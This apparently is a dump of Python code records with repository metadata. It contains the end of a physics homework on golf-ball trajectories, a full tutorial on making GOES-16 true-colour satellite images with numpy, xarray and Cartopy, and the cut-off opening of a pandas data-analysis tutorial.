plt.axes(projection='3d')\nfig.set_xlabel('x')\nfig.set_ylabel('y')\nfig.set_zlabel('z')\nfig.scatter(r[0],r[1],r[2])\n\n\n# * 6b (8pt) What do you think the benefits and/or disadvantages are from expressing our three equations as a single array/vector? This can be both from a computational and physics stand point. Use the **Numpy** package to also print the maximum $x$, $y$ and $z$ components from $\\boldsymbol{r}$.\n# \n# Complete Exercise 4 above (Taylor exercise 1.35) before moving further. (Recall that the golf ball was hit due east at an angle $\\theta$ with respect to the horizontal, and the coordinate directions are $x$ measured east, $y$ north, and $z$ vertically up.)\n# \n# * 6c (8pt) What is the analytical solution for our theoretical golf ball's position $\\boldsymbol{r}(t)$ over time from Exercise 4?  Also what is the formula for the time $t_f$ when the golf ball hits the ground? Use this to develop a program with a function called for example Golfball that utilizes our analytical solutions. This program should take in an initial velocity and the angle $\\theta$ that the golfball was hit with in degrees. It should also produce  a 3D graph of the motion. You need also to find the maximum values for $x$, $y$ and $z$.\n# \n# * 6d (8pt) Given initial values of $v_i = 90 m/s$, $\\theta = 30^{\\circ}$, what would our maximum x, y and z components be? \n# \n# * 6e (8pt) Given initial values of $v_i = 45 m/s$, $\\theta = 45^{\\circ}$, what would our maximum x, y and z components be?\n", "meta": {"hexsha": "34d539caf9ea2e90b18237dc71c7b03b08395c12", "size": 11057, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw2.py", "max_stars_repo_name": "Shield94/Physics321", "max_stars_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw2.py", "max_issues_repo_name": "Shield94/Physics321", "max_issues_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "doc/LectureNotes/_build/jupyter_execute/hw2.py", "max_forks_repo_name": "Shield94/Physics321", "max_forks_repo_head_hexsha": "9875a3bf840b0fa164b865a3cb13073aff9094ca", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.9518518519, "max_line_length": 554, "alphanum_fraction": 0.710771457, "include": true, "reason": "import numpy", "num_tokens": 3106, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.28457600421652673, "lm_q2_score": 0.25091279808829703, "lm_q1q2_score": 0.07140376148675574}}
{"text": "\"\"\"\n==========================\nGOES-16: True Color Recipe\n==========================\nBy: [Brian Blaylock](http://home.chpc.utah.edu/~u0553130/Brian_Blaylock/home.html)\nwith help from Julien Chastang (UCAR-Unidata).\n\nAdditional notebooks analyzing GOES-16 and other data can be found in [Brian's\nGitHub repository](https://github.com/blaylockbk/pyBKB_v3/).\n\nThis notebook shows how to make a true color image from the GOES-16\nAdvanced Baseline Imager (ABI) level 2 data. We will plot the image with\nmatplotlib and Cartopy. The methods shown here are stitched together from the\nfollowing online resources:\n\n\n- [**CIMSS True Color RGB Quick Guide**](http://cimss.ssec.wisc.edu/goes/OCLOFactSheetPDFs/ABIQuickGuide_CIMSSRGB_v2.pdf)\n- [ABI Bands Quick Information Guides](https://www.goes-r.gov/education/ABI-bands-quick-info.html)\n- [Open Commons Consortium](http://edc.occ-data.org/goes16/python/)\n- [GeoNetCast Blog](https://geonetcast.wordpress.com/2017/07/25/geonetclass-manipulating-goes-16-data-with-python-part-vi/)\n- [Proj documentation](https://proj4.org/operations/projections/geos.html?highlight=geostationary)\n\nTrue color images are an RGB composite of the following three channels:\n\n|        --| Wavelength   | Channel | Description   |\n|----------|--------------|---------|---------------|\n| **Red**  | 0.64 &#181;m |    2    | Red Visible   |\n| **Green**| 0.86 &#181;m |    3    | Veggie Near-IR|\n| **Blue** | 0.47 &#181;m |    1    | Blue Visible  |\n\nFor this demo, we use the **Level 2 Multichannel formated data** (ABI-L2-MCMIP)\nfor the CONUS domain. This file contains all sixteen channels on the ABI fixed\ngrid (~2 km grid spacing).\n\nGOES-16 data is downloaded from Unidata, but you may also\ndownload GOES-16 or 17 files from NOAA's GOES archive on [Amazon S3](https://aws.amazon.com/public-datasets/goes/).\nI created a [web interface](http://home.chpc.utah.edu/~u0553130/Brian_Blaylock/cgi-bin/goes16_download.cgi?source=aws&satellite=noaa-goes16&domain=C&product=ABI-L2-MCMIP)\nto easily download files from the Amazon archive. For scripted or bulk\ndownloads, you should use `rclone` or `AWS CLI`. You may also download files\nfrom the [Environmental Data Commons](http://edc.occ-data.org/goes16/getdata/)\nand [NOAA\nCLASS](https://www.avl.class.noaa.gov/saa/products/search?sub_id=0&datatype_family=GRABIPRD&submit.x=25&submit.y=9).\n\nFile names have the following format...\n\n`OR_ABI-L2-MCMIPC-M3_G16_s20181781922189_e20181781924562_c20181781925075.nc`\n\n`OR`     - Indicates the system is operational\n\n`ABI`    - Instrument type\n\n`L2`     - Level 2 Data\n\n`MCMIP`  - Multichannel Cloud and Moisture Imagery products\n\n`c`      - CONUS file (created every 5 minutes).\n\n`M3`     - Scan mode\n\n`G16`    - GOES-16\n\n`sYYYYJJJHHMMSSZ` - Scan start: 4 digit year, 3 digit day of year (Julian day), hour, minute, second, tenth second\n\n`eYYYYJJJHHMMSSZ` - Scan end\n\n`cYYYYJJJHHMMSSZ` - File Creation\n`.nc`    - NetCDF file extension\n\n\"\"\"  # noqa: E501\n\n\n######################################################################\n# First, import the libraries we will use\n# ---------------------------------------\n\nfrom datetime import datetime\n\nimport cartopy.crs as ccrs\nimport matplotlib.pyplot as plt\nimport metpy  # noqa: F401\nimport numpy as np\nimport xarray\n\n\n######################################################################\n# Open the GOES-16 NetCDF File\n# ----------------------------\n\n# Open the file with xarray.\n# The opened file is assigned to \"C\" for the CONUS domain.\n\nFILE = ('http://ramadda-jetstream.unidata.ucar.edu/repository/opendap'\n        '/4ef52e10-a7da-4405-bff4-e48f68bb6ba2/entry.das#fillmismatch')\nC = xarray.open_dataset(FILE)\nC\n\n######################################################################\n# Date and Time Information\n# ----------------------------\n# Each file represents the data collected during one scan sequence for the\n# domain. There are several different time stamps in this file, which are also\n# found in the file's name.\n# I'm not a fan of numpy datetime, so I convert it to a regular datetime\n\n# Scan's start time, converted to datetime object\nscan_start = datetime.strptime(C.time_coverage_start, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n# Scan's end time, converted to datetime object\nscan_end = datetime.strptime(C.time_coverage_end, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n# File creation time, convert to datetime object\nfile_created = datetime.strptime(C.date_created, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n# The 't' variable is the scan's midpoint time\nmidpoint = str(C['t'].data)[:-8]\nprint(C.t.data)\nscan_mid = datetime.strptime(midpoint, '%Y-%m-%dT%H:%M:%S.%f')\n\nprint('Scan Start    : {}'.format(scan_start))\nprint('Scan midpoint : {}'.format(scan_mid))\nprint('Scan End      : {}'.format(scan_end))\nprint('File Created  : {}'.format(file_created))\nprint('Scan Duration : {:.2f} minutes'.format((scan_end-scan_start).seconds/60))\n\n\n######################################################################\n# True Color RGB Recipe\n# ---------------------\n#\n# Color images are a Red-Green-Blue (RGB) composite of three different\n# channels. To make a \"Natural True Color\" image we assign the following\n# channels as our R, G, and B values:\n#\n# | --                   | RED         | GREEN          | BLUE         |\n# |----------------------|-------------|----------------|--------------|\n# | **Name**             | Red Visible | Near-IR Veggie | Blue Visible |\n# | **Wavelength**       | 0.64 \u00b5m     | 0.86 \u00b5m        | 0.47 \u00b5m      |\n# | **Channel**          | 2           | 3              | 1            |\n# | **Units**            | Reflectance | Reflectance    | Reflectance  |\n# | **Range of Values**  | 0-1         | 0-1            | 0-1          |\n# | **Gamma Correction** | 2.2         | 2.2            | 2.2          |\n#\n#\n# Some important details to know about...\n#\n# **Value Range**: The data units of channel 1, 2, and 3 are in reflectance and\n# have a range of values between 0 and 1. RGB values must also be between 0 and\n# 1.\n#\n# **Gamma Correction**: A gamma correction is applied to control the brightness\n# and make the image not look too dark.\n# `corrected_value = value^(1/gamma)`.\n# Most displays have a decoding gamma of 2.2. Read more about gamma correction\n# at the following links...\n# [source1](https://en.wikipedia.org/wiki/Gamma_correction) and\n# [source2](https://www.cambridgeincolour.com/tutorials/gamma-correction.htm)).\n#\n# **True Green**: The GREEN \"veggie\" channel on GOES-16 does not measure\n# visible green light. Instead, it measures a near-infrared band sensitive to\n# chlorophyll. We could use that channel in place of green, but it would make\n# the green in our image appear too vibrant. Instead, we will tone-down the\n# green channel by interpolating the value to simulate a natural green color.\n#\n#       `TrueGreen = (0.45*RED) + (0.1*GREEN) + (0.45*BLUE)`\n#\n# Now we can begin putting the pieces together...\n\n# Confirm that each band is the wavelength we are interested in\nfor band in [2, 3, 1]:\n    print('{} is {:.2f} {}'.format(\n        C['band_wavelength_C{:02d}'.format(band)].long_name,\n        float(C['band_wavelength_C{:02d}'.format(band)][0]),\n        C['band_wavelength_C{:02d}'.format(band)].units))\n\n######################################################################\n\n# Load the three channels into appropriate R, G, and B variables\nR = C['CMI_C02'].data\nG = C['CMI_C03'].data\nB = C['CMI_C01'].data\n\n######################################################################\n\n# Apply range limits for each channel. RGB values must be between 0 and 1\nR = np.clip(R, 0, 1)\nG = np.clip(G, 0, 1)\nB = np.clip(B, 0, 1)\n\n######################################################################\n\n# Apply a gamma correction to the image to correct ABI detector brightness\ngamma = 2.2\nR = np.power(R, 1/gamma)\nG = np.power(G, 1/gamma)\nB = np.power(B, 1/gamma)\n\n######################################################################\n\n# Calculate the \"True\" Green\nG_true = 0.45 * R + 0.1 * G + 0.45 * B\nG_true = np.clip(G_true, 0, 1)  # apply limits again, just in case.\n\n######################################################################\n# Simple Image\n# -----------------\n#\n# Use `plt.imshow` to get a quick look at the channels and RGB composite we\n# created.\n#\n# First, plot each channel individually. The deeper the color means the\n# satellite is observing more light in that channel. Clouds appear white because\n# they reflect lots of red, green, and blue light. Notice that the land reflects\n# a lot of \"green\" in the veggie channel because this channel is sensitive to\n# the chlorophyll.\n\nfig, ([ax1, ax2, ax3, ax4]) = plt.subplots(1, 4, figsize=(16, 3))\n\nax1.imshow(R, cmap='Reds', vmax=1, vmin=0)\nax1.set_title('Red', fontweight='bold')\nax1.axis('off')\n\nax2.imshow(G, cmap='Greens', vmax=1, vmin=0)\nax2.set_title('Veggie', fontweight='bold')\nax2.axis('off')\n\nax3.imshow(G_true, cmap='Greens', vmax=1, vmin=0)\nax3.set_title('\"True\" Green', fontweight='bold')\nax3.axis('off')\n\nax4.imshow(B, cmap='Blues', vmax=1, vmin=0)\nax4.set_title('Blue', fontweight='bold')\nax4.axis('off')\n\nplt.subplots_adjust(wspace=.02)\n\n######################################################################\n# The addition of the three channels results in a color image. Combine the three\n# channels with a stacked array and display the image with `imshow`.\n\n# The RGB array with the raw veggie band\nRGB_veggie = np.dstack([R, G, B])\n\n# The RGB array for the true color image\nRGB = np.dstack([R, G_true, B])\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(16, 6))\n\n# The RGB using the raw veggie band\nax1.imshow(RGB_veggie)\nax1.set_title('GOES-16 RGB Raw Veggie', fontweight='bold', loc='left',\n              fontsize=12)\nax1.set_title('{}'.format(scan_start.strftime('%d %B %Y %H:%M UTC ')),\n              loc='right')\nax1.axis('off')\n\n# The RGB for the true color image\nax2.imshow(RGB)\nax2.set_title('GOES-16 RGB True Color', fontweight='bold', loc='left',\n              fontsize=12)\nax2.set_title('{}'.format(scan_start.strftime('%d %B %Y %H:%M UTC ')),\n              loc='right')\nax2.axis('off')\n\n######################################################################\n# Plot with `Cartopy` Geostationary Projection\n# ----------------------------------------------\n#\n# The image above is not georeferenced. You can see the land and oceans, but we\n# do have enough information to draw state and country boundaries. Use the\n# `metpy.io` package to obtain the projection information from the file.  Then\n# use `Cartopy` to plot the image on a map. The GOES data and image is on a\n# [geostationary projection\n# ](https://proj4.org/operations/projections/geos.html?highlight=geostationary).\n\n# We'll use the `CMI_C02` variable as a 'hook' to get the CF metadata.\ndat = C.metpy.parse_cf('CMI_C02')\n\ngeos = dat.metpy.cartopy_crs\n\n# We also need the x (north/south) and y (east/west) axis sweep of the ABI data\nx = dat.x\ny = dat.y\n\n######################################################################\n# The geostationary projection is the easiest way to plot the image on a\n# map. Essentially, we are stretching the image across a map with the same\n# projection and dimensions as the data.\n\nfig = plt.figure(figsize=(15, 12))\n\n# Create axis with Geostationary projection\nax = fig.add_subplot(1, 1, 1, projection=geos)\n\n# Add the RGB image to the figure. The data is in the same projection as the\n# axis we just created.\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()), transform=geos)\n\n# Add Coastlines and States\nax.coastlines(resolution='50m', color='black', linewidth=0.25)\nax.add_feature(ccrs.cartopy.feature.STATES, linewidth=0.25)\n\nplt.title('GOES-16 True Color', loc='left', fontweight='bold', fontsize=15)\nplt.title('{}'.format(scan_start.strftime('%d %B %Y %H:%M UTC ')), loc='right')\n\nplt.show()\n\n######################################################################\n# Using other projections\n# ----------------------------------------------\n#\n# Changing the projections with `Cartopy` is straightforward. Here we display\n# the GOES-16 data on a Lambert Conformal projection.\n\nfig = plt.figure(figsize=(15, 12))\n\n# Generate an Cartopy projection\nlc = ccrs.LambertConformal(central_longitude=-97.5, standard_parallels=(38.5,\n                                                                        38.5))\n\nax = fig.add_subplot(1, 1, 1, projection=lc)\nax.set_extent([-135, -60, 10, 65], crs=ccrs.PlateCarree())\n\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos,\n          interpolation='none')\nax.coastlines(resolution='50m', color='black', linewidth=0.5)\nax.add_feature(ccrs.cartopy.feature.STATES, linewidth=0.5)\n\nplt.title('GOES-16 True Color', loc='left', fontweight='bold', fontsize=15)\nplt.title('{}'.format(scan_start.strftime('%d %B %Y %H:%M UTC ')), loc='right')\n\nplt.show()\n\n######################################################################\n# Plot with `Cartopy`: Plate Carr\u00e9e  Cylindrical Projection\n# ---------------------------------------------------------\n#\n# It is often useful to zoom on a specific location. This image will zoom in on\n# Utah.\n\nfig = plt.figure(figsize=(8, 8))\n\npc = ccrs.PlateCarree()\n\nax = fig.add_subplot(1, 1, 1, projection=pc)\nax.set_extent([-114.75, -108.25, 36, 43], crs=pc)\n\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos,\n          interpolation='none')\n\nax.coastlines(resolution='50m', color='black', linewidth=1)\nax.add_feature(ccrs.cartopy.feature.STATES)\n\nplt.title('GOES-16 True Color', loc='left', fontweight='bold', fontsize=15)\nplt.title('{}'.format(scan_start.strftime('%d %B %Y %H:%M UTC ')), loc='right')\n\nplt.show()\n\n######################################################################\n# Overlay Nighttime IR when dark\n# ------------------------------\n#\n# At nighttime, the visible wavelengths do not measure anything and is just\n# black. There is information, however, from other channels we can use to see\n# clouds at night. To view clouds in portions of the domain experiencing\n# nighttime, we will overlay the clean infrared (IR) channel over the true color\n# image.\n#\n# First, open a file where the scan shows partial night area and create the true\n# color RGB as before.\n\n# A GOES-16 file with half day and half night\n\nFILE = ('http://ramadda-jetstream.unidata.ucar.edu/repository/opendap'\n        '/85da3304-b910-472b-aedf-a6d8c1148131/entry.das#fillmismatch')\nC = xarray.open_dataset(FILE)\n\n# Scan's start time, converted to datetime object\nscan_start = datetime.strptime(C.time_coverage_start, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n# Create the RGB like we did before\n\n# Load the three channels into appropriate R, G, and B\nR = C['CMI_C02'].data\nG = C['CMI_C03'].data\nB = C['CMI_C01'].data\n\n# Apply range limits for each channel. RGB values must be between 0 and 1\nR = np.clip(R, 0, 1)\nG = np.clip(G, 0, 1)\nB = np.clip(B, 0, 1)\n\n# Apply the gamma correction\ngamma = 2.2\nR = np.power(R, 1/gamma)\nG = np.power(G, 1/gamma)\nB = np.power(B, 1/gamma)\n\n# Calculate the \"True\" Green\nG_true = 0.45 * R + 0.1 * G + 0.45 * B\nG_true = np.clip(G_true, 0, 1)\n\n# The final RGB array :)\nRGB = np.dstack([R, G_true, B])\n\n######################################################################\n# Load the Clear IR  10.3 \u00b5m channel (Band 13)\n# -------------------------------------------------------\n#\n# When you print the contents of channel 13, notice that the unit of the clean\n# IR channel is *brightness temperature*, NOT reflectance. We need to normalize\n# the values between 0 and 1 before we can use it in our RGB image.  In this\n# case, we normalize the values between 90 Kelvin and 313 Kelvin.\n\nprint(C['CMI_C13'])\n\n######################################################################\n# Apply the normalization...\n\ncleanIR = C['CMI_C13'].data\n\n# Normalize the channel between a range.\n#       cleanIR = (cleanIR-minimumValue)/(maximumValue-minimumValue)\ncleanIR = (cleanIR-90)/(313-90)\n\n# Apply range limits to make sure values are between 0 and 1\ncleanIR = np.clip(cleanIR, 0, 1)\n\n# Invert colors so that cold clouds are white\ncleanIR = 1 - cleanIR\n\n# Lessen the brightness of the coldest clouds so they don't appear so bright\n# when we overlay it on the true color image.\ncleanIR = cleanIR/1.4\n\n# Yes, we still need 3 channels as RGB values. This will be a grey image.\nRGB_cleanIR = np.dstack([cleanIR, cleanIR, cleanIR])\n\n######################################################################\n# Show the true color and clean IR images\n# ---------------------------------------\n#\n# We want to overlay these two images, so the clean IR fills in the night sky\n# on the True Color image. This way we can still see the clouds at night.\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(16, 6))\n\nax1.set_title('True Color', fontweight='bold')\nax1.imshow(RGB)\nax1.axis('off')\n\nax2.set_title('Clean IR', fontweight='bold')\nax2.imshow(RGB_cleanIR)\nax2.axis('off')\n\nplt.show()\n\n######################################################################\n#\n# To fill in the dark area on the true color image, we will set each RGB channel\n# to equal the maximum value between the visible channels and the IR\n# channels. When this is done, where RGB values are black in the true color\n# image RGB = (0,0,0), it will be replaced with a higher value of the `cleanIR\n# RGB`.\n#\n# Note that if the clean IR has really bright, cold clouds in the daylight, they\n# will replace the color values in the true color image making the clouds appear\n# more white. Still, it makes a nice plot and let's you see clouds when it is\n# night.\n\n# Maximize the RGB values between the True Color Image and Clean IR image\nRGB_ColorIR = np.dstack([np.maximum(R, cleanIR), np.maximum(G_true, cleanIR),\n                         np.maximum(B, cleanIR)])\n\n######################################################################\n\nfig = plt.figure(figsize=(15, 12))\n\nax = fig.add_subplot(1, 1, 1, projection=geos)\n\nax.imshow(RGB_ColorIR, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos)\n\nax.coastlines(resolution='50m', color='black', linewidth=2)\nax.add_feature(ccrs.cartopy.feature.STATES)\n\nplt.title('GOES-16 True Color and Night IR', loc='left', fontweight='bold',\n          fontsize=15)\nplt.title('{}'.format(scan_start.strftime('%H:%M UTC %d %B %Y'), loc='right'),\n          loc='right')\n\nplt.show()\n\n######################################################################\n# Adjust Image Contrast\n# ---------------------\n#\n# I think the color looks a little dull. We could get complicated and make a\n# Rayleigh correction to the data to fix the blue light scattering, but that can\n# be intense. More simply, we can make the colors pop out by adjusting the image\n# contrast. Adjusting image contrast is easy to do in Photoshop, and also easy\n# to do in Python.\n#\n# We are still using the RGB values from the day/night GOES-16 ABI scan.\n#\n# Note: you should adjust the contrast _before_ you add in the Clean IR channel.\n\n\ndef contrast_correction(color, contrast):\n    \"\"\"\n    Modify the contrast of an RGB\n    See:\n    https://www.dfstudios.co.uk/articles/programming/image-programming-algorithms/image-processing-algorithms-part-5-contrast-adjustment/\n\n    Input:\n        color    - an array representing the R, G, and/or B channel\n        contrast - contrast correction level\n    \"\"\"\n    F = (259*(contrast + 255))/(255.*259-contrast)\n    COLOR = F*(color-.5)+.5\n    COLOR = np.clip(COLOR, 0, 1)  # Force value limits 0 through 1.\n    return COLOR\n\n\n# Amount of contrast\ncontrast_amount = 105\n\n# Apply contrast correction\nRGB_contrast = contrast_correction(RGB, contrast_amount)\n\n# Add in clean IR to the contrast-corrected True Color image\nRGB_contrast_IR = np.dstack([np.maximum(RGB_contrast[:, :, 0], cleanIR),\n                             np.maximum(RGB_contrast[:, :, 1], cleanIR),\n                             np.maximum(RGB_contrast[:, :, 2], cleanIR)])\n\n######################################################################\n\n# Plot on map with Cartopy\n\nfig = plt.figure(figsize=(15, 12))\n\nax1 = fig.add_subplot(1, 2, 1, projection=geos)\nax2 = fig.add_subplot(1, 2, 2, projection=geos)\n\nax1.imshow(RGB_ColorIR, origin='upper',\n           extent=(x.min(), x.max(), y.min(), y.max()),\n           transform=geos)\nax1.coastlines(resolution='50m', color='black', linewidth=2)\nax1.add_feature(ccrs.cartopy.feature.BORDERS)\nax1.set_title('True Color and Night IR')\n\nax2.imshow(RGB_contrast_IR, origin='upper',\n           extent=(x.min(), x.max(), y.min(), y.max()),\n           transform=geos)\nax2.coastlines(resolution='50m', color='black', linewidth=2)\nax2.add_feature(ccrs.cartopy.feature.BORDERS)\nax2.set_title('Contrast Correction = {}'.format(contrast_amount))\n\nplt.subplots_adjust(wspace=.02)\n\n######################################################################\n# Can we make plots for a Mesoscale scan?\n# ---------------------------------------\n#\n# Yes. Yes we can.\n\n# M1 is for the Mesoscale1 NetCDF file\n\nFILE = ('http://ramadda-jetstream.unidata.ucar.edu/repository/opendap'\n        '/5e02eafa-5cee-4d00-9f58-6e201e69b014/entry.das#fillmismatch')\nM1 = xarray.open_dataset(FILE)\n\n# Load the RGB arrays\nR = M1['CMI_C02'][:].data\nG = M1['CMI_C03'][:].data\nB = M1['CMI_C01'][:].data\n\n# Apply range limits for each channel. RGB values must be between 0 and 1\nR = np.clip(R, 0, 1)\nG = np.clip(G, 0, 1)\nB = np.clip(B, 0, 1)\n\n# Apply the gamma correction\ngamma = 2.2\nR = np.power(R, 1/gamma)\nG = np.power(G, 1/gamma)\nB = np.power(B, 1/gamma)\n\n# Calculate the \"True\" Green\nG_true = 0.45 * R + 0.1 * G + 0.45 * B\nG_true = np.clip(G_true, 0, 1)\n\n# The final RGB array :)\nRGB = np.dstack([R, G_true, B])\n\n# Scan's start time, converted to datetime object\nscan_start = datetime.strptime(M1.time_coverage_start, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n# We'll use the `CMI_C02` variable as a 'hook' to get the CF metadata.\ndat = M1.metpy.parse_cf('CMI_C02')\n\n# Need the satellite sweep x and y values, too.\nx = dat.x\ny = dat.y\n\n######################################################################\n\nfig = plt.figure(figsize=(10, 8))\n\nax = fig.add_subplot(1, 1, 1, projection=lc)\nax.set_extent([-125, -70, 25, 50], crs=ccrs.PlateCarree())\n\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos)\n\nax.coastlines(resolution='50m', color='black', linewidth=0.5)\nax.add_feature(ccrs.cartopy.feature.STATES, linewidth=0.5)\nax.add_feature(ccrs.cartopy.feature.BORDERS, linewidth=0.5)\n\nplt.title('GOES-16 True Color', fontweight='bold', fontsize=15, loc='left')\nplt.title('Mesoscale Section 1')\nplt.title('{}'.format(scan_start.strftime('%H:%M UTC %d %B %Y')), loc='right')\n\nplt.show()\n\n######################################################################\n\nfig = plt.figure(figsize=(15, 12))\n\nax = fig.add_subplot(1, 1, 1, projection=geos)\n\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos)\n\nax.coastlines(resolution='50m', color='black', linewidth=0.25)\nax.add_feature(ccrs.cartopy.feature.STATES, linewidth=0.25)\n\nplt.title('GOES-16 True Color', fontweight='bold', fontsize=15, loc='left')\nplt.title('Mesoscale Section 1')\nplt.title('{}'.format(scan_start.strftime('%H:%M UTC %d %B %Y')), loc='right')\n\nplt.show()\n\n######################################################################\n# Can we do this for a Full Disk Scan? It's possible...\n# -----------------------------------------------------\n#\n# but data files are so large that plotting is very slow.  Feel free to\n# experiment.\n\nFILE = ('http://ramadda-jetstream.unidata.ucar.edu/repository/opendap'\n        '/deb91f58-f997-41a3-a077-987529bf02b3/entry.das#fillmismatch')\nF = xarray.open_dataset(FILE)\n\n# Load the RGB arrays\nR = F['CMI_C02'][:].data\nG = F['CMI_C03'][:].data\nB = F['CMI_C01'][:].data\n\n# Apply range limits for each channel. RGB values must be between 0 and 1\nR = np.clip(R, 0, 1)\nG = np.clip(G, 0, 1)\nB = np.clip(B, 0, 1)\n\n# Apply the gamma correction\ngamma = 2.2\nR = np.power(R, 1/gamma)\nG = np.power(G, 1/gamma)\nB = np.power(B, 1/gamma)\n\n# Calculate the \"True\" Green\nG_true = 0.48358168 * R + 0.45706946 * B + 0.06038137 * G\nG_true = np.clip(G_true, 0, 1)\n\n# The final RGB array :)\nRGB = np.dstack([R, G_true, B])\n\n# We'll use the `CMI_C02` variable as a 'hook' to get the CF metadata.\ndat = F.metpy.parse_cf('CMI_C02')\n\nx = dat.x\ny = dat.y\n\n######################################################################\n# Geostationary projection is easy...\n\nfig = plt.figure(figsize=(10, 8))\n\nax = fig.add_subplot(1, 1, 1, projection=geos)\n\nax.imshow(RGB, origin='upper',\n          extent=(x.min(), x.max(), y.min(), y.max()),\n          transform=geos)\n\nax.coastlines(resolution='50m', color='black', linewidth=1)\nax.add_feature(ccrs.cartopy.feature.BORDERS, linewidth=1)\n\nplt.title('GOES-16 True Color', fontweight='bold', fontsize=15, loc='left')\nplt.title('Full Disk\\n{}'.format(scan_start.strftime('%H:%M UTC %d %B %Y')),\n          loc='right')\n\nplt.show()\n", "meta": {"hexsha": "fe1b09740bc29d0fa0ed2ba8798a55a7bfdd937b", "size": 25002, "ext": "py", "lang": "Python", "max_stars_repo_path": "Class Files/Lab 3/Data Sources/mapping_GOES16_TrueColor.py", "max_stars_repo_name": "sjfreed21/DataAnalysis", "max_stars_repo_head_hexsha": "b4b852e2faca6633161513ecbfc4295068a6cd78", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Class Files/Lab 3/Data Sources/mapping_GOES16_TrueColor.py", "max_issues_repo_name": "sjfreed21/DataAnalysis", "max_issues_repo_head_hexsha": "b4b852e2faca6633161513ecbfc4295068a6cd78", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Class Files/Lab 3/Data Sources/mapping_GOES16_TrueColor.py", "max_forks_repo_name": "sjfreed21/DataAnalysis", "max_forks_repo_head_hexsha": "b4b852e2faca6633161513ecbfc4295068a6cd78", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.214084507, "max_line_length": 170, "alphanum_fraction": 0.6135509159, "include": true, "reason": "import numpy", "num_tokens": 6740, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.16885695214168314, "lm_q1q2_score": 0.0713428449004587}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: deep_ml_curriculum\n#     language: python\n#     name: deep_ml_curriculum\n# ---\n\n# # Pandas\n\n# +\nimport pandas as pd\nimport pandas_profiling as pp\nimport numpy as np\nimport warnings\n# %matplotlib inline\n\nwarnings.simplefilter(\"ignore\")\n# -\n\n# ## Read Data\n\n# Pandas has the ability to read data from various formats, including:\n# - CSV\n# - Excel\n# - Html\n# - Json\n# - Feather\n# - Parquet\n\n# Let's start by reading a table from a csv file. Pandas puts the data in an object known as a `DataFrame`.<br>\n# The data we are using here is air emissions from industrial facilities in Queensland for the 2005/2006 inventory year taken from [data.gov.au](http://data.gov.au).\n\n# !head -n 3 \"../../data/processed/Emission/npi-2006-qld-air-total-emissions.csv\"\n\ndf = pd.read_csv(\"../../data/processed/Emission/npi-2006-qld-air-total-emissions2.csv\", index_col='index')\n\n# The `DataFrame` is now stored in variable `df`. We can print it:\n\ndf\n\n# Similarly, using the respective read method you can read the tables from other file formats supported by Pandas. <br>\n# e.g. `pd.read_excel()` \n\n# Pandas can also read the data from SQL database and put them directly into a pandas data frame. To do that, we need to pass in the query and the connection object.\n\n# +\nimport sqlite3\n\n# create a connection to database\nconn = sqlite3.connect(\"../b01_SQL/Sales.db\")\n\n# write a query\nquery = \"\"\"\nSELECT * from Customers\nLIMIT 5\n\"\"\"\n\npd.read_sql(query, conn)\n# -\n\n# __Tip:__ Sometimes you just want to quickly copy a portion of a dataset from a webpage or excel into a notebook. An easy way to do that is to copy the data from the source and then use `pd.read_clipboard()`. This method will create a pandas data frame from the data you copied. Note that this method only works if the notebook is running on your local machine (not on an external server).\n\n# ## Basic Analysis\n# - info\n# - describe\n# - pandas profiling\n# - value_counts()\n#\n\ndf = pd.read_csv(\"../../data/processed/Emission/npi-2006-qld-air-total-emissions2.csv\", index_col='index')\ndf\n\n# We can use `.head()` and `.tail()` to view only top or bottom rows of the table.\n\n# top rows\ndf.head()\n\n# bottom rows\ndf.tail()\n\n# __Note:__ You can specify how many rows from the top or bottom of the table you want by passing in a number.<br>\n# e.g. `df.head(10)` or `df.tail(3)`\n\n# We can use `.columns` to get a list of column names.\n\ndf.columns\n\n# Using `.info()` method you can get a list of the columns and the type of data stored in each.\n\ndf.info()\n\n# You can 